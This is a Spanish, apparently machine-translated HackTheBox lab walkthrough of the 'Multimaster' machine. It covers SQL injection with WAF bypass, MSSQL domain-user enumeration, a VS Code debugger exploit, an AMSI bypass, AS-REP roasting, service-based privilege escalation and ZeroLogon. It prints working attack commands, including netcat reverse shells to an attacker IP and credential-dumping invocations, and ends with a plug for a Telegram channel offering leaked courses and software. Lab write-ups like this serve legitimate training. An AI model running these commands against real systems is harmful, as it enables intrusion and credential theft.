HackTheBox. Tutorial de Multimaster. Eructar + Sqlmap. Usuarios de AD de MSSQL. Vulnerabilidad en VSCode. Bypass AMSI y CVE ZeroLogon



Hola, Ralph est谩 contigo. Sigo publicando soluciones enviadas a la finalizaci贸n de m谩quinas desde el sitio HackTheBox .



Hay mucho en este art铆culo. Veamos c贸mo combinar Burp Suite y sqlmap para mayor comodidad, aprenda c贸mo obtener usuarios de dominio con acceso a MSSQL, explotar una vulnerabilidad en Visual Studio Code, bloquear AMSI, realizar AS-REP Roasting para obtener credenciales y aumentar privilegios del grupo de Operadores de servidor. Y como demostraci贸n de la nueva vulnerabilidad ZeroLogon, capturaremos la misma m谩quina de una forma diferente en menos de 5 minutos.



La conexi贸n al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la informaci贸n.



Informaci贸n organizacional
, , Telegram . , , .



. , - , .



Recon



Esta m谩quina tiene una direcci贸n IP de 10.10.10.179, que agrego a / etc / hosts.



10.10.10.179 	multimaster.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo har茅 usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500






Muchos puertos est谩n abiertos en el host. Ahora escane茅moslos con nmap para filtrar y seleccionar los que necesitamos.

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389






Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opci贸n -A.



nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389






Con SMB y LDAP no se puede hacer nada, veamos la web.







El sitio tiene autorizaci贸n, as铆 como un formulario de b煤squeda.







Adem谩s, la b煤squeda funciona por entrada.







Por lo tanto, podemos suponer que el operador LIKE se usa en la consulta SQL. Por lo tanto, puede intentar mostrar todos los registros.







Resulta que tenemos inyecci贸n SQL.







Pero al menos algo no funciona. Aparentemente se usa WAF.







Pero result贸 que se omiti贸 debido al uso de la codificaci贸n Unicode.







Y encontramos el n煤mero de columnas.











Entonces la inyecci贸n es del 100%.



Sqlmap + Suite Burp



Para trabajar f谩cilmente con la base de datos, usamos sqlmap. Conocemos el m茅todo de codificaci贸n y el DBMS; lo reflejaremos en los par谩metros. Tambi茅n guardaremos la solicitud de Burp Suite en un archivo y especificaremos su sqlmap. Definamos el usuario bajo el cual se realizan las solicitudes.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user






Y, desafortunadamente, obtuvimos la misma respuesta sin usar codificaci贸n. Especifiquemos Burp como proxy para sqlmap. Y para no perder el tiempo, indicaremos la t茅cnica de inyecci贸n de c贸digo basada en Uni贸n (par谩metro U).



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user


Interceptamos solicitudes en eructo y vemos una visualizaci贸n ligeramente diferente de la codificaci贸n.







Comprobemos si funciona. Codifiquemos la carga que ya conocemos de esta manera.











Y no funciona. Entonces necesitamos cambiar la visualizaci贸n de la codificaci贸n. Esto se puede hacer usando Burp. Vayamos a la pesta帽a Proxy -> opciones y a la secci贸n Coincidir y reemplazar.







Agreguemos una regla que cambiar谩% u a \ u en el cuerpo de la solicitud.







Y aseg煤rese de que est茅 activo.







Ahora ejecutemos sqlmap nuevamente.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user


En Burp, vemos una solicitud ya corregida.







Permitir la transmisi贸n de todas las solicitudes. Y en sqlmap obtenemos el nombre del usuario actual.







Pero nuevamente vemos un error. Aparentemente WAF. Agreguemos un retraso de 3 segundos y descubramos los privilegios.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges






No hay nada que podemos hacer. Averig眉emos las bases de datos.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs






Veamos las tablas de Hub_DB.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables






Exactamente lo que se necesita. Tabla de inicios de sesi贸n. Extraigamos todos los datos de 茅l.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump






Y as铆, tenemos usuarios y hashes de contrase帽as. Los 4 hashes diferentes est谩n presentes aqu铆. Averig眉emos cu谩les.







Ahora descubriremos los modos hashcat sobre los que iteraremos.







Hay tres modos en total. Y usando este 煤ltimo, rompemos tres hashes.



hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt






Pero estos hash no son adecuados para SMB. Profundizando m谩s.



USUARIO



El hecho de que podamos obtener datos de MSSQL nos da la posibilidad de obtener usuarios de dominio. Ahora te mostrar茅 c贸mo hacerlo. En primer lugar, necesitamos obtener el nombre de dominio.











Y ahora tenemos que averiguar su SID. Podemos obtener el SID del dominio aprendiendo el SID de cualquier objeto de dominio y descartando el RID de 茅l. Cualquier dominio tiene un grupo de administradores de dominio. Esto nos permite preexistir en el objeto de dominio. Averig眉emos su SID.











Entonces, est谩 codificado. Para mostrarlo normalmente, usamos la funci贸n sys.fn_varbintohexstr.











Y obtenemos el SID de este objeto. Adem谩s, la idea es la siguiente: obtenemos el SID del dominio y, sustituyendo diferentes RID, obtenemos los nombres de usuario por el SID existente. Por ejemplo, el RID del administrador es 500.



Del SID recibido, tome los primeros 48 bytes.







Y agregue al final, RID - 500 (no olvide darle la vuelta).











Y ahora obtendremos el nombre de la cuenta por nuestro SID.











Dado que esto funciona, obtengamos los objetos de dominio. Para la iteraci贸n, uso Burp Intruder.











Al enviar una solicitud a Intruder, asignamos 4 bytes a nuestras variables. A continuaci贸n, debe generar estas variables de 4 bytes.



for i in range(1100, 9100,1000):
    for j in range(50):
        h = hex(i+j)[2:].rjust(4,'0')
        SID = ""
        for c in (h[2:]+h[:2]):
            SID += "0x" + hex(ord(c))[2:]
        print(SID)


Guardamos el resultado en un archivo y lo apuntamos a Burp.







Tambi茅n desactive la codificaci贸n de URL y reemplace todo 0x con \ u00.







Recuerde WAF, ponemos una secuencia y el retraso entre solicitudes.







Lanzamos un ataque, ordenamos por duraci贸n de respuesta y observamos muchos objetos.







Seleccione todos los usuarios y gu谩rdelos en un archivo. Tambi茅n tenemos tres contrase帽as. Iteramos sobre SMB y encontramos el par correcto.







Nos conectamos a WinRM y estamos en el sistema.







USUARIO2



Una vez en el sistema, realizamos un reconocimiento. Estoy haciendo esto usando winPEAS. Lo cargamos en la m谩quina y lo lanzamos. No encontraron nada interesante all铆.







As铆 que vayamos por el camino dif铆cil. Necesitamos obtener la mayor cantidad de credenciales posible. Comencemos con los nombres de usuario que est谩n en el sistema.







Guardamos todo en nuestro archivo. Pero, 驴d贸nde podemos encontrar alguna contrase帽a? El servidor utiliza bases de datos y necesita una contrase帽a para conectarse a 茅l. Intentemos conseguirlo.







Pero no tenemos derechos sobre el directorio del servidor web. Sin saber qu茅 hacer, la posici贸n del software utilizado en el servidor no estaba cerrada en mi lista. Veamos la lista de procesos.







Y VSCode llama la atenci贸n.











Por lo tanto, Visual Studio Code 1.37.1 se ejecuta en el servidor. 隆Y tiene vulnerabilidades que permiten la ejecuci贸n de c贸digo!







Como sigue a partir de aqu铆 :

Existe una vulnerabilidad de elevaci贸n de privilegios en Visual Studio Code cuando expone un detector de depuraci贸n a los usuarios de un equipo local.


Un atacante podr铆a inyectar c贸digo arbitrario para ejecutar en el contexto del usuario actual para hacer esto, debe determinar en qu茅 puerto est谩 escuchando Visual Studio Code. Podemos usar cefdebug para conectarnos al puerto VSCode .







Busquemos el puerto de escucha.







Genial, existe tal puerto. Ejecutemos el c贸digo en el contexto del proceso VSCode. Ejecutemos un shell de backconnect usando nc.



.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"






Y vemos una conexi贸n exitosa.







Vamos a nuestro directorio.











De todo lo que se presenta, la API es la de mayor inter茅s. Vamos a descargarlo.











Fui a Windows y verifiqu茅 en qu茅 estaba escrita la biblioteca.







Esto es C #, por lo que podemos descompilar el proyecto. Estoy usando dnSpy.







Y en el c贸digo fuente encontramos la contrase帽a. Pero para averiguar qu茅 usuario es, usamos inicios de sesi贸n de fuerza bruta (rociado de contrase帽a). Estoy usando CrackMapExec.



cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"






Y tomamos un usuario m谩s







USUARIO3



Cuando intentamos descargar y utilizar cualquier herramienta de inteligencia, la AMSI nos bloquea. Vamos a parchearlo con Invoke-AlokS-AvBypass .







Ahora, cargue de forma segura Sharphound al host.







Y despu茅s de comenzar, observamos el archivo.







Ahora lo descargamos al host local y lo colocamos en Bloodhound. A continuaci贸n, en Consultas, seleccione Rutas m谩s cortas a objetivos de alto valor.







Profundizando en el gr谩fico, determinamos la relaci贸n entre el usuario bajo nuestro control y otro usuario del dominio.







Consigamos la informaci贸n de comunicaci贸n.











Por lo tanto, podemos obtener un hash de la contrase帽a del usuario (el proceso en s铆 ya se ha descrito en dos redacciones similares). Activamos la propiedad: no se requiere autenticaci贸n previa de Kerberos.







Y ejecutaremos la solicitud.







Copia el hash y r贸mpelo usando hashcat.



hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt






Obtenemos la contrase帽a del usuario. Y lo pasamos con 茅xito.







RA脥Z



Despu茅s de recibir informaci贸n sobre el usuario, notamos que es miembro del grupo Operadores de servidores.







Los miembros de este grupo pueden configurar y ejecutar servicios (y los servicios en Windows se ejecutan en nombre de SYSTEM). Esto generalmente se hace a trav茅s de SensorDataService.





Cambiemos let a ejecutable para volver a conectar el comando usando netcat.



reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f






Y luego de iniciar el servicio, observamos una conexi贸n al puerto 4321.



sc.exe start SensorDataService






Somos SISTEMA.



CVE-2020-1472



Y ahora, para la demostraci贸n, intentemos capturar inmediatamente un controlador de dominio, incluso sin un punto de entrada y soporte. Para hacer esto, usamos la recientemente notoria vulnerabilidad ZeroLogon (CVE-2020-1472).



En general, la vulnerabilidad de CVE-2020-1472 radica en la imperfecci贸n del esquema de autenticaci贸n criptogr谩fica del protocolo remoto Netlogon. Este protocolo se utiliza para autenticar usuarios y m谩quinas en redes basadas en dominios. En particular, Netlogon tambi茅n se utiliza para actualizar de forma remota las contrase帽as de las computadoras. La vulnerabilidad podr铆a permitir a un atacante hacerse pasar por un equipo cliente y restablecer una contrase帽a de controlador de dominio.

Para la prueba, intentemos solicitar la replicaci贸n de credenciales con el hash 31d6cfe0d16ae931b73c59d7e0c089c0 (contrase帽a vac铆a).



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






Ahora usemos el exploit .



CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179






Se nos informa que el ataque fue exitoso. Solicitando la replicaci贸n de credenciales nuevamente. Y los conseguimos.



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






Y con el hash del administrador, podemos conectarnos a trav茅s de WinRM.







En particular, as铆 es como puede capturar un controlador de dominio basado en:



  • todas las versiones de Windows Server 2019, Windows Server 2016;
  • Todas las variantes de Windows Server, versi贸n 1909
  • Windows Server, versi贸n 1903
  • Windows Server, versi贸n 1809 (centro de datos, est谩ndar)
  • Windows Server 2012 R2
  • Windows Server 2012
  • Paquete de servicio 1 de Windows Server 2008 R2.


Puedes unirte a nosotros en Telegram . All铆 puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad en la que haya personas con experiencia en muchas 谩reas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier tema de TI y seguridad de la informaci贸n.



All Articles